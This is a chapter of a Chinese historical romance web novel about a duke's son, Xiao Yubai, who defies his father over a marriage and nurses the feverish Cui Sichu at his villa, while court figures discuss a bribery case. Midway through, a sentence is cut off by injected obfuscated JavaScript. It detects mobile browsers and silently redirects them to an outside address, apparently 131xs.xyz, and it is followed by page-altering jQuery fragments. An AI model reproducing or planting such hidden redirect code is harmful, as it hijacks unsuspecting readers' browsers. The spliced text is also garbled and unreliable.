厅中镇国公厉声继续:“从小到大我们给你安排得哪一步错了?娶裴家姑娘是你最好的选择,你却说你不想?”
他冷哼一声:“真是荒唐,你可知京城中有多少人想娶舟月吗?”
片刻沉默。
再开口时,是萧玉白的声音,低而沉稳:“孩儿自小便循父命而读、而行、而做人,从未忤逆半句。但父亲可曾问过我,我想过哪样的人生?”
镇国公怒极反笑:“你要自由?自由是什么?是弃家弃位,是不要你娘的体面,是看你日后低人一头?萧家的世子,说出这样的话,简直不孝!”
崔思初站在原地,指节微紧,随即转身离去。
她一直以为,萧玉白是那种生来便站在高位的人,不知命运之重。
但此刻,她忽然意识到—这世上并非只有“地位低的人”才被困于命运之笼。有时,那笼更金碧,更沉重。
原来他这样的人,也在挣扎,也在负重前行,也会被父亲当面质问“你配有想法吗”。
她垂眸敛神,脚步轻移,欲从回廊转角处离开,不再听那堂中父子剑拔弩张的争执。
可正当她拐出院口,肩侧微偏,眼前却陡然一暗,撞入一道结实冷硬的胸膛。
她骤然顿住,身形一震。
眼前人身着一袭深紫圆领袍,衣襟掐金,雪白里衣隐隐可见,气势沉静中透着一股令人难以忽视的凌厉。那双眼低垂看她,冷淡无波,偏又让人移不开眼。
沈鹤。
崔思初眼睫轻颤,下意识退了一步,正要低头告罪,沈鹤已先一步挑眉开口,语声低哑如玉石相击:
“崔五姑娘,这么巧?”
崔思初抬眼,只一瞬,便又低下头,轻声应道:“误入府中偏院,惊扰王爷,失礼了。”
崔思初刚转身欲走,背后却忽然传来沈鹤冷冽的声音,低沉得像是夜雨打在青石上:“我劝你一句,别动萧家的念头,你,不配。”
脚步一顿,崔思初回过身来,眼中不再掩饰情绪。她轻笑一声,声音微哑,却清晰如玉敲寒瓷:“肃安王这话,我实在不懂。不如,咱们等着看,到底是你那位侄儿先动了心,还是我在图谋不轨?”
话音一落,她仿佛用尽了全身力气。
自方才踏进这个院子起,她便觉身子虚浮、胸闷气短,此刻终于支撑不住,眼前一阵晕眩,身子轻轻一晃,竟向后倒去。
“崔思初!”一道沉稳的声音骤然响起,是萧玉白从厅内匆匆而出,正撞见这一幕。
沈鹤冷哼一声,薄唇微抿:“别演了,崔姑娘,你这一套,在我这儿不……”
他话未说完,便被萧玉白打断,他对着院外的小厮喊道:
“阿星,叫大夫!”萧玉白快步上前,一把扶住她倒下的身子,触手一片滚烫。
他低头看见她手中还抱着洗净叠好的披风,心头一紧,连忙将她横抱起身,步履坚定地朝外走去。
厅内动静惊动了镇国公萧思舟,他负手而出,目光沉稳地掠过廊下,落在那被萧玉白抱出门去的女子身上,眉峰微挑,语气不显情绪:“是哪家姑娘?”
沈鹤走上前去,站在檐下,目光幽沉,良久才缓缓开口,语调冷淡中带着一丝嘲意:“崔家,崔怀木的庶女。”
“崔怀木?”萧思舟冷哼一声,目光落在那渐远的背影上,神情冷峻,“但愿望之对她不过一时心动。那崔怀木为人奸巧,手段阴沉,御史大夫早已暗中着手调查其涉及买卖官职一事,此案牵连颇广,崔家在京城的立足之地,怕是撑不了多久了。”
一旁的沈鹤闻言眉头微皱,语气淡然中带着一丝不以为然:“崔怀木?他一个工部尚书,手里没几分实权,怎能插手卖官之事?朝中官职如何流转,我难道还不清楚?”
萧思舟瞥他一眼,不急不缓地道:“你才回京几月,未必知得详尽。这事不是他明面上卖官,而是以他为中间人牵线搭桥,从中抽取好处。他背后有人给他撑腰,他就出面撮合几笔,左右逢源。御史台如今正着手查证,案底一旦揭开……这口黑锅,多半还是要崔家来背。”
沈鹤拂了拂袖子,语气冷静却透着不容置疑:
“此事我打算亲自去御史台督查。对了,姐夫,你也劝劝望之,离那崔家女远些。如今崔家风雨欲来,若真出了事,难保不会回头咬他一口,平白惹出不必要的麻烦。”
萧思舟闻言,轻轻颔首,神色淡沉:“我会与他说,他如今行事倒也太过自作主张了。”
萧玉白将崔思初轻轻安置在别院西厢房的榻上,床褥干净,帐幔素白,她的身子却滚烫如炭。她的手还攥着他披风的一角,像是本能般不肯松开。
阿星快步追来,见状低声道:“世子,附近的大夫都在山下,最近的便是寺中那位药僧。”
“那还不快请。”萧玉白当即开口,语气冷冽得不容迟疑。
阿星领命离去后,萧玉白吩咐下人端来一盆冰水,又叫一名年长婢子将洁净的冰巾沾湿拧净,替崔思初轻拭额头。
那婢子手法细致,不敢多言。
萧玉白站在床前,目光落在榻上的女子身上。
她的眉头紧皱,是他从未见过的神情。
唇瓣发白,气息微弱,发髻早已散乱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230709|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
垂落在枕间,与那身素衣相衬,更显脆弱。
萧玉白不觉握紧了袖中一只手,稍移开目光。
不多时,那位药僧随着阿星赶到,进门拱手行礼后,便上前为崔思初诊脉。
须臾,他起身皱眉道:“寒气入体,又带了些湿邪,烧得凶,恐怕一时半刻难退,须得好生调理。”
他说罢,在药案上写下一张方子,递予阿星:“可先照方子熬药,需静养十日方可缓解。”
“那能否带她回寺中静养?”婢子问。
萧玉白却先一步开口,声音清沉:“不必。她是我相识之人,现下送她回去不妥。”
他看向药僧,忽然问道:“不知我家别院后方温泉,可否驱散寒意?”
那僧闻言一怔,眼神一亮:“若确如传闻所言,是地脉温泉,确可驱寒,只是须有人照看,不可久泡。”
“这别院清静,有婢女可使,她暂时便住下。”萧玉白道完,又望向榻上神情虚弱的女子,语气低了些许,“她不宜再折腾了。”
药僧点头应下,留下用法与嘱咐,便起身告辞。
婢子轻手轻脚地拧巾换水,萧玉白垂眸立于榻侧,身影清隽,冷静得体。
她似乎说梦呓般轻轻低喃了一句什么,他却听不真切。
他转开身,轻声道:“阿星,叫人备药,今夜我不回主院了。”似乎是铁了心要与萧思舟对着干了。
“你无礼!”门外忽传来萧思舟怒声。
他欲推门而入,却被沈鹤拦下。沈鹤语气低沉,面色冷峻:“姐夫,女子清白,须避嫌。”
萧思舟微怔,回头压低声音道:“仲修,可是望之还在里头?你也不劝劝他!一男一女同处一室,若叫人看见,崔家女儿的名声可还要不要了?”
他隔着门喊:“望之,你先出来。男女授受不亲,传出去如何收场?”
门内,萧玉白神色自若,回道:“回父亲的话,屋中并非只有我们二人,还有下人在旁。事有轻重,儿子自知分寸。”
萧玉白话音未落,沈鹤已抬手推门而入。
萧思舟在后头愣了一瞬,随即低声斥道:“方才你还拦着我,说怕毁了女子清誉,如今怎的你倒先进去了?”
沈鹤却神色从容,淡淡回道:“既然望之说屋中尚有下人,那便不妨事。”
萧思舟犹豫片刻,脚步向前挪了一寸,终究又收了回来,甩袖冷哼一声,转身离去。
屋内,沈鹤缓步走至窗前,眼神掠过那正坐在窗边的萧玉白。少年神色别扭,唇线紧抿,怀中还抱着那件女子亲手洗净的披风,目光望向窗外,半晌未言。
沈鹤低头看了眼床榻上的女子。
额上细汗犹在,面色苍白,气息微弱——看来方才那场昏厥并非装病,倒是自己先前误会了她。
只是这两人又是如何纠缠上的?
他眸色微暗,心中冷笑:此女城府颇深,而望之性情清直,若真动了心,怕是早晚要吃亏。
念及于此,示意萧玉白随自己出去。
待到无人旁在,沈鹤才将账册平铺于院中案上,语气低缓而肃然:“这些,是王太尉这几年暗中往来各处的私账。”
萧玉白闻言,神色一凛,立即收起心神,翻开账页,目光迅速扫过其中几行数字与往来人名,越看眉头越紧。他抬眼看沈鹤:“这账上,有崔家的牵扯?”
沈鹤神情冷淡:“不止是牵扯。崔怀木是牵线人,从中抽成,近几年借王太尉之势办了不少事,御史台那边也在查,只是还未查出实据。”
屋内床榻上的崔思初睫毛轻颤,早已苏醒,却迟迟未睁眼,榻前只有一个婢子。
没过多久,萧玉白和沈鹤一同推门进来,崔思初听见二人脚步声,知道躲不掉沈鹤了。
她喉间轻哽,忽地虚弱咳了两声,低声唤:“……水……水……”
萧玉白闻声,快步走至床前。
“你醒了?”他的语气难掩一丝喜意。
他叫婢子将她轻扶起身,自己则是坐在榻前,一手将茶盏送至她唇边。崔思初缓缓睁开眼,目光尚有迷蒙之意,唇角轻动:“谢世子。”
沈鹤站在一旁,静静看着她,目光却透出几分探究与冷意。
崔思初作势要起身离去,萧玉白却出言挽留,语气温和而坚定:“你身子未愈,不如在此静养几日。别院清净,下人也都贴心稳重,照料周到。等你好了,再回也不迟。”
崔思初神色一顿,摇头道:“毕竟男女有别,我一介未嫁之女,久居世子别院,未免有失体统。再者,也不想叫人妄加揣测,于世子名声无益。”
萧玉白闻言,眉目微动,语声不疾不徐:“你我二人行得端坐得正,清清白白,又有下人在旁伺候,怎容流言蜚语?更何况,我府上人素来谨言慎行,断不会胡言乱语。”
崔思初推辞几句,终是拗不过他这般周全体贴,便也应了下来,正合她意,名正言顺。
一旁的沈鹤不想听他二人说话,崔家女在旁,买官一事也无法提及,最终抬眸淡道:“今夜无事,不如与我小酌一杯,许久没与你好好饮上一回了。”
萧玉白点头:“也好。”沈鹤也抬脚离去。
见他身影消失,崔思初终于松了口气,转头对萧玉白轻声笑道:“我今日本是来还披风的,原想着明日一早便返京,谁料昨日淋雨受了寒,竟让世子见笑了。”
萧玉白神色不变,语气依旧温和:“思初姑娘何须见外?你我既有交情,身陷病中,自当尽我一份力。”
这时,每日未时照例送来的奏折由小厮呈上,萧玉白起身,吩咐道:“我去处理公事。”
临行前,他唤来府中贴身婢女小梨,语气郑重地当着崔思初的面交代:“崔姑娘身体未愈,适才大夫言温泉可助驱寒。你领她去好生安排,水温不可过热,每次不宜久泡,伺候得仔细些。”
小梨应声而下,萧玉白才放心离去。
傍晚时分,崔思初在房中用过饭,小梨伺候她更换了衣裳,领她前往温泉所在。行至廊外,小梨停住脚步,低声道:“姑娘安心泡汤,我便在外候着,若有吩咐,喊我便是。”
崔思初点头致谢,缓步踏入温泉园中。
温泉边雾气弥漫,四下被修竹环绕,夜风拂面,竹影婆娑。泉水清澈温润,雾气中浮动着缕缕草木的清香。
崔思初站在石阶前,解下披风,只着一袭薄纱单衣。夜风微凉,轻轻拂过衣角,纱衣仿佛水波轻荡,贴在肌肤上微微起伏。
她赤足探入泉中,水波暖意袭人,宛若春手抚肤,整个人也随之沉入泉底温润之中。
彼时月色静好,崔思初感觉到难得的平静。
与此同时,萧玉白与沈鹤在别院的廊下对酌。
夜风穿竹,清音细碎,酒盏已空。
沈鹤放下手中最后一杯酒,起身拢了拢衣袖,语气冷静却不无杀意:“不早了,歇息吧。后日随我一同回京,咱们一道查这件事。不管背后是谁,权势再大,也得把他从高处拉下来。”